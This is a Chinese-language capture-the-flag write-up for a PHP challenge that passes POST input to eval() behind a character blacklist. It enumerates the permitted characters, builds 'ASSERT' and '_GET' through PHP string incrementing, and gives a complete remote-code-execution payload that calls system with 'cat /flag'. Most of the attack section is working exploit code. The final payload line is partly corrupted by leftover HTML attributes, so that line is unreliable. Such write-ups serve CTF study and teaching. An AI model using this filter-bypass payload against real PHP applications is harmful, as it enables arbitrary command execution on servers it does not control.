源码:
- error_reporting(0);
- if ($_GET['secret']){
- highlight_file(__FILE__);
- }else{
- setcookie("hint", "?secret", time()+3600);
- }
- if (isset($_POST['hh'])) {
- $hh = $_POST['hh'];
- if (is_string($hh) || strlen($hh) <= 107) {
- if (!preg_match("/[!@#%^&*:'\"|`a-zB-Z~\\\\]|[2-5]/",$hh)){
- eval($hh);
- }else{
- echo("no! hacker!!");
- }
- }
- } else {
-
- phpinfo();
- }
查看正则匹配还剩的东西:
- for($a = 0; $a < 256; $a++){
- if (!preg_match("/[!@#%^&*:'\"|`a-zB-Z~\\\\]|[2-5]/", chr($a))){
- echo chr($a)." ";
- }
- }
- ?>
只有 1 6 7 8 9 ; < = > ? A [ ] _ { } 可以用了;
然后要触发eval() 构造rce 就可以通过PHP自增来实现;什么是PHP自增?
比如 ‘a’++ =b;'c'++=d;
这就是自增,那么这道题就可以通过A 的自增来得到我们想要的函数
另外,在php中,当把字符串和数组连接在一起时,最终返回的值是Array
- echo ''.[];
-
- //输出 Array
那么只要取Array中的第一个字母A和第四个字母a,就可以得到A-Z和a-z的所有字母组合。
- $_=[];
- $_=@"$_"; // $_='Array';
- $_=$_['!'=='@']; // $_=$_[0];
- $___=$_; // A
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
- $___.=$__; // S
- $___.=$__; // S
- $__=$_;
- $__++;$__++;$__++;$__++; // E
- $___.=$__;
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
- $___.=$__;
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
- $___.=$__;
-
- $____='_';
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
- $____.=$__;
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
- $____.=$__;
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
- $____.=$__;
- $__=$_;
- $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
- $____.=$__;
-
- $_=$$____;
- $___($_[_]); // ASSERT($_POST[_]);
这里我们采用A来构造_GET
- $_='A';
- $_++;
- $_++;
- $_++;
- $A=++$_;
- $_++;
- $A_=++$_;
-
- $_=('A'/'A'.'A'){0}; //N
- $_++; //O
- $_++; //P
- $_++; //Q
- $_++; //R
- $_++; //S
- $_='_'.$A_.$A.++$_; //_GET
- echo $_;
- //($$_{1})($$_{2}); //($_GET{1})($_GET{2})
post传参
hh=$_=A;$_++;$_++;$_++;$A=++$_;$_++;$A_=++$_;$_=(A/A.A){0};$_++;$_++;$_++;$_++;$_++;$_=_.$A_.$A.++$_;(
_{7});6 ) ( " role="presentation" style="text-align: center; position: relative;">
但是要经过URL编码传参;
然后get传
secret=6&6=system&7=cat /flag
和system相同的还有passthru